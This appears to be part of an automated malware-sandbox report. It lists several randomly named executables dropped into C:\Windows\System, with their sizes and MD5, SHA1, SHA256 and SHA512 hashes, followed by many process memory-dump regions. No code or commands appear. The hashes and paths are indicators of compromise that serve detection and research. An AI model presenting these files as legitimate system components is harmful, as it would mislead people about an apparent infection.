Download Submit
C:\Windows\System\iIkiqnW.exe

Filesize
2.3MB

MD5
3fe7ca087d3b3d837a2323d5213b8b4c

SHA1
82918c635713eed6044a57d05873338415b1704a

SHA256
43b49777d2157352eacd1b20487f9049163cd69ff199f5ecd19d7c3126c865e5

SHA512
f2616c6963cd2ead80875c47c1c332427a8d44a58c28080d2ef3fe7521faf7e608e621eee33857573ace852b7dd2c514aba4b897682dd7c5a2f89066eed6c3d9

Download Submit
C:\Windows\System\jFgLSui.exe

Filesize
2.3MB

MD5
99410cb28153796b9470f1c3ad82e30c

SHA1
62110a70761e906a0ce57ca75979866b50596e96

SHA256
f4cd1b549c02ee1f9ad444d1a61ff8d97dd3290fbb604049d22ee089622ced18

SHA512
6e366fd704d3051fcef94dd7fc1c52ba507663aab283b4349c0446592587a986024123882693b5054dbb39d91e79b63df9441554dad89765c6598bed59a21b39

Download Submit
C:\Windows\System\mkwcYhQ.exe

Filesize
2.3MB

MD5
0d01b35df29eafbe7dc0d7e290569507

SHA1
388a5f043bf3431ff3326396107c74fefe3500ee

SHA256
ae16d4eb5124116b88bc07a3f432dd5a2c00bde1f8e75362a187118055d79909

SHA512
7deb6b513c1eebf04852eada075530d1d5d7d860169934d1d847b423c7ff5669e893cb68c95561c7cb0fb16a96a72272ebf200cd7170f9b885853217fdbc290f

Download Submit
C:\Windows\System\nRNDknS.exe

Filesize
2.3MB

MD5
5cde195c4be5bab68b8aa1238aa777d4

SHA1
4ad3dad8ef3eb0888cf87bce4af69bb414bd1a0b

SHA256
4906e3abe5f80589958f27756c221d28f1031de1ce3c46e8c1d0af566f72fbb7

SHA512
82168e0320bd9ede85618ebe0e60cd46ba2fce302c51715826dd74a8533ea9cc5887d03aca13aebd398dc856c8e961cc2b9aebaaf70b3d486495acf00b66ba6c

Download Submit
C:\Windows\System\nTDqJvG.exe

Filesize
2.3MB

MD5
ffcd19f42e4932808d7869078e9c37d2

SHA1
5db8d35653d3ee97686c1a6cb5c25af23a66ee0d

SHA256
5d20b5d6b324978d13a24d182914f2a905d183fb864a766935a1221bb762edb3

SHA512
192e7ad200065a6ac4db1e5e1d7e77fd3afe381d27227bc30d40163001f33bf6203cc6d6f3969a66a9e1bc124f976f877d2eee926ff3953363209cb4e92cb7b6

Download Submit
C:\Windows\System\pbDgnFi.exe

Filesize
2.3MB

MD5
05e8119309c1ba3cf73a25d511ea399b

SHA1
35c2b2634fcb57e5a389c98f32caeacd309d624a

SHA256
7b36f1d95e6784dc96fbfb7c3c4bb2d567c1d3a043c6e3b11eade0e999ddcfcc

SHA512
f23e48ed9d13f29f3cc7a03ae3af89e34943cbda85ca3d5219a165a0bcb9e1217de678a02280b604114113c8137c76fda2fb45806d78be8cf1c4c0901ea2ba2f

Download Submit
C:\Windows\System\pryOavm.exe

Filesize
2.3MB

MD5
3bbdb0d703e489b9327d13c04e16fec5

SHA1
424158419a5a1e94ea04c2770d5accd2ed6f8d60

SHA256
0c264874017ce62759d82f02c7a3a16456190be655a4ba95e63646697435b3d7

SHA512
b97838532fec4fc869d4a77577c796c2c0d8bf7b43fefa7627c13eb753199536feeebb865393edc6015a5502410a48f7fb819b11511dcab7fd4432c996927394

Download Submit
C:\Windows\System\quSHOHV.exe

Filesize
2.3MB

MD5
445a9127096ba84a5a901943fa3b7965

SHA1
1adca85158bb0f026f0291e0de254fdcbe6797e2

SHA256
e6d26c04abe10a3dcc896878b9f046bb695aeeab4e61e68c3c46a1c0dfb3e461

SHA512
6843b176815de29a6cad62a462e954612f1372b69b650819b0263fe733e97d3d14745f73000fe3fdc9e10debec3a83858ca3f802f806a365cd4b4c7e6ba08684

Download Submit
C:\Windows\System\sZVKanU.exe

Filesize
2.3MB

MD5
d9e76ed7a7d875ae2d9dd7507791f7cc

SHA1
9d315832d04b00bdd57499b65fdd053321fd14bd

SHA256
88706a4954546e4ed44aaea15ccace333a507caa9dec084203db2ee7d0afea72

SHA512
b2b1a6e3173e3b2404c872f68251a4814496ef3b985ae2187d1722220c00cf7b4045a47ee2158e3da78cbb746f9d335e7ef78347f1f6ea6f336f085aa701dac8

Download Submit
C:\Windows\System\svBupYP.exe

Filesize
2.3MB

MD5
ae684c35605aedfe03fec218acc77459

SHA1
2a202f41fbd9e633365e16ae4af9a12423970555

SHA256
48dd5e39b98d144c98660e864dc3cca386eb56a1f7ef9ff3dedd1d730afaeef2

SHA512
8e6db09a14427665f8aefc1883cfdd6624343b93c72a04446a3caf670f4ef02443bac8857d6036972c1f5d881de67948139a7d37914cb96c337a8ea997aae810

Download Submit
C:\Windows\System\tMiXtSy.exe

Filesize
2.3MB

MD5
ade7a164d8a7c1628ddb9ed940d3bcd3

SHA1
dd6d6b1fac1039e661d9134c485c30b357742698

SHA256
73a34c119935caa10b3a046040ece1b288e421974e644f7972fe5f6c5b5705d5

SHA512
18835f2b89a7c7c8edc2127c82e3800575d18d07398c69e78b9ec83cbe7aecb50b8898dcd9ffca939c33f5438322ab1ede99835bee24d8897347038afbd06113

Download Submit
C:\Windows\System\tXCUPUk.exe

Filesize
2.3MB

MD5
fecd238be89faf00dc21c9ac656c1411

SHA1
672645e1d5b564705de70781723416734d343834

SHA256
b9d853142358b79fcb44793b80b3ee1c2bf5e923de5828a8d67d6f6d99fe4954

SHA512
be945f72ab2e6053acaff433bed708be46ebdf811e3209d7fd5b4525dc6fe62ad7c6e02981a88128cce8e13dbd9c031c6afbc43d0367b7079e6abd28bf0b854c

Download Submit
C:\Windows\System\uVwEgYh.exe

Filesize
2.3MB

MD5
935c0ab6b9202846b233ca2c937acc3c

SHA1
af2c0263c4c45cc6a5485656a0f28f878bca7e44

SHA256
becf1c425d0f7b8af0156aea1f74691fc166b5af4b46ef10e848a5fa29f8fd8f

SHA512
77431f1a90fde46ac57b689a2ee4648580de28e0e6d399bdd8b61aa64f7d7cf5ede568344ea0048208860dca3eed78c3e399b3d51e18e2893ce35f3bebb4cfc2

Download Submit
C:\Windows\System\unGFpyc.exe

Filesize
2.3MB

MD5
626fb475bae9c5bebdb8bc99ff311092

SHA1
1aad8eeeab62c815d566157aead781a847f9106a

SHA256
32d9a7b21750bb8c050bc791ac16ee31b7f256f0ab542dfb209061985d997c19

SHA512
238f79fbb6b2747085f4a2f03e923e4b46756ab1f0b5e2bd12a14369e93ca0dfd513ff911620a623137a8f95637535bf7933e33541ffe9ae160a714351e88b41

Download Submit
C:\Windows\System\xjOWcMs.exe

Filesize
2.3MB

MD5
1e02c037d1872ff7d0f17277e44986c3

SHA1
9004a2109a1262c06229e7944a7f317fc492fe74

SHA256
7bd6530d7084b2f90c7f02635c16fa1ed0d119d1ed82ac42359e17d78448ee16

SHA512
d5b084bd0cf41d04c4f8b4ee49136d919ed4bd7ded6fc3f096e396d4bfcd37282c4607f057bb4720d58e953187574e367b71706bd014b77a8f3600df992ab163

Download Submit
C:\Windows\System\xmTZKgO.exe

Filesize
2.3MB

MD5
1753e800519b716334d950771c618723

SHA1
ac7fb86faf2ab4053c74bf3fcd750cd0e4895ca8

SHA256
97ffdbcc8891bd444e2288c2f530bff4affd247e2d6a36ee4549c23e54983247

SHA512
e965a2b5b7c194712487315f46b21e0622343dfa71c5646cb24fa988b4ac6c68099a6d600a6cba2f197204beef6ac102166d6653c4974c46d099cfb4bc74060c

Download Submit
C:\Windows\System\xomHXhp.exe

Filesize
2.3MB

MD5
67c174c292cee3b61f1f7d24e8d30f65

SHA1
373bb1d12bfd262d615dc61d4547e3d83c6cd38d

SHA256
1b7f2aa74057a5eacd266188b73266184173cfbc11cc8e7253768fcbd32ac99c

SHA512
cbd414c9c9d7586b3e23b4d5fa6034086f753ca9e712fef5f9c3485e9b49e5aebe769688bfb282525f04ce99d2fbabdb23551a9c8e0482c4af35d55a315a961c

Download Submit
C:\Windows\System\yohjDMb.exe

Filesize
2.3MB

MD5
840a7c920629354a4e604fa302ebd833

SHA1
6b03c3d693ca0c7e29ffb9c68b168b4ac3e2be6b

SHA256
c33b1ac4e0590da7190c35960d6002fbc6760e61cbd3e43d5177bdb159e35595

SHA512
75c192baa2d7d4e7fce4c1cf8f955e21e1aa7a60eedcf214aed3bd169eea66217a2f23eadad21ab5cc4ae6abf9e7a322af53b0fa07ee0d8ea0cb1ede2cc2fb13

Download Submit
C:\Windows\System\zIdbean.exe

Filesize
2.3MB

MD5
bb691dba05f71b92ed171bcfc1536612

SHA1
05ae3064b7d850166b4d43f24dd71b3d510a2cac

SHA256
16c73ddb972ab800e04090844b090f89fe5a63ad77268a9d746cf1fac6678898

SHA512
20034382594f0c574e4f19527d1029fda8922b8752ec948304b5222fa560cb07bb5e01feb428dfb7cc8eb5c64282eecaf9632556730860fa79584eac0f6857ac

Download Submit
memory/64-178-0x00007FF677EC0000-0x00007FF6782B2000-memory.dmp

Filesize
3.9MB

Download
memory/408-58-0x00007FF748230000-0x00007FF748622000-memory.dmp

Filesize
3.9MB

Download
memory/804-487-0x00007FF7D6EF0000-0x00007FF7D72E2000-memory.dmp

Filesize
3.9MB

Download
memory/1380-94-0x00007FF7BEBA0000-0x00007FF7BEF92000-memory.dmp

Filesize
3.9MB

Download
memory/1632-4598-0x00007FF76B960000-0x00007FF76BD52000-memory.dmp

Filesize
3.9MB

Download
memory/1632-424-0x00007FF76B960000-0x00007FF76BD52000-memory.dmp

Filesize
3.9MB

Download
memory/2064-314-0x00007FF6CC460000-0x00007FF6CC852000-memory.dmp

Filesize
3.9MB

Download
memory/2064-4592-0x00007FF6CC460000-0x00007FF6CC852000-memory.dmp

Filesize
3.9MB

Download
memory/2308-36-0x00007FFF6E0A0000-0x00007FFF6EB61000-memory.dmp

Filesize
10.8MB

Download
memory/2308-61-0x0000025FAF5A0000-0x0000025FAF5B0000-memory.dmp

Filesize
64KB

Download
memory/2308-60-0x0000025FAF5A0000-0x0000025FAF5B0000-memory.dmp

Filesize
64KB

Download
memory/2308-127-0x0000025FC86A0000-0x0000025FC86C2000-memory.dmp

Filesize
136KB

Download
memory/2368-489-0x00007FF646CC0000-0x00007FF6470B2000-memory.dmp

Filesize
3.9MB

Download
memory/2368-4574-0x00007FF646CC0000-0x00007FF6470B2000-memory.dmp

Filesize
3.9MB

Download
memory/2456-465-0x00007FF7A4090000-0x00007FF7A4482000-memory.dmp

Filesize
3.9MB

Download
memory/2456-4587-0x00007FF7A4090000-0x00007FF7A4482000-memory.dmp

Filesize
3.9MB

Download
memory/2552-313-0x00007FF6C2D70000-0x00007FF6C3162000-memory.dmp

Filesize
3.9MB

Download
memory/2552-4556-0x00007FF6C2D70000-0x00007FF6C3162000-memory.dmp

Filesize
3.9MB

Download
memory/2740-482-0x00007FF635320000-0x00007FF635712000-memory.dmp

Filesize
3.9MB

Download
memory/2740-4618-0x00007FF635320000-0x00007FF635712000-memory.dmp

Filesize
3.9MB

Download
memory/2932-4534-0x00007FF7F3D50000-0x00007FF7F4142000-memory.dmp

Filesize
3.9MB

Download
memory/2932-136-0x00007FF7F3D50000-0x00007FF7F4142000-memory.dmp

Filesize
3.9MB

Download
memory/3128-483-0x00007FF64A180000-0x00007FF64A572000-memory.dmp

Filesize
3.9MB

Download
memory/3128-4627-0x00007FF64A180000-0x00007FF64A572000-memory.dmp

Filesize
3.9MB

Download
memory/3380-406-0x00007FF72B570000-0x00007FF72B962000-memory.dmp

Filesize
3.9MB

Download
memory/3380-4616-0x00007FF72B570000-0x00007FF72B962000-memory.dmp

Filesize
3.9MB

Download
memory/3752-4526-0x00007FF759490000-0x00007FF759882000-memory.dmp

Filesize
3.9MB

Download
memory/3752-364-0x00007FF759490000-0x00007FF759882000-memory.dmp

Filesize
3.9MB

Download
memory/3840-4521-0x00007FF72F260000-0x00007FF72F652000-memory.dmp

Filesize
3.9MB

Download
memory/3840-215-0x00007FF72F260000-0x00007FF72F652000-memory.dmp

Filesize
3.9MB

Download
memory/3904-485-0x00007FF7A1AE0000-0x00007FF7A1ED2000-memory.dmp

Filesize
3.9MB

Download
memory/3904-4600-0x00007FF7A1AE0000-0x00007FF7A1ED2000-memory.dmp

Filesize
3.9MB

Download
memory/3984-4543-0x00007FF7CEFA0000-0x00007FF7CF392000-memory.dmp

Filesize
3.9MB

Download
memory/3984-294-0x00007FF7CEFA0000-0x00007FF7CF392000-memory.dmp

Filesize
3.9MB

Download
memory/4156-484-0x00007FF7B0390000-0x00007FF7B0782000-memory.dmp

Filesize
3.9MB

Download
memory/4156-4641-0x00007FF7B0390000-0x00007FF7B0782000-memory.dmp

Filesize
3.9MB

Download
memory/4620-1-0x000001BAC9330000-0x000001BAC9340000-memory.dmp

Filesize
64KB

Download
memory/4620-0-0x00007FF69BBD0000-0x00007FF69BFC2000-memory.dmp

Filesize
3.9MB

Download
memory/4968-252-0x00007FF7D82D0000-0x00007FF7D86C2000-memory.dmp

Filesize
3.9MB

Download
memory/5032-486-0x00007FF7343D0000-0x00007FF7347C2000-memory.dmp

Filesize
3.9MB

Download
memory/5080-488-0x00007FF79AB40000-0x00007FF79AF32000-memory.dmp

Filesize
3.9MB

Download
memory/5080-4506-0x00007FF79AB40000-0x00007FF79AF32000-memory.dmp

Filesize
3.9MB

Download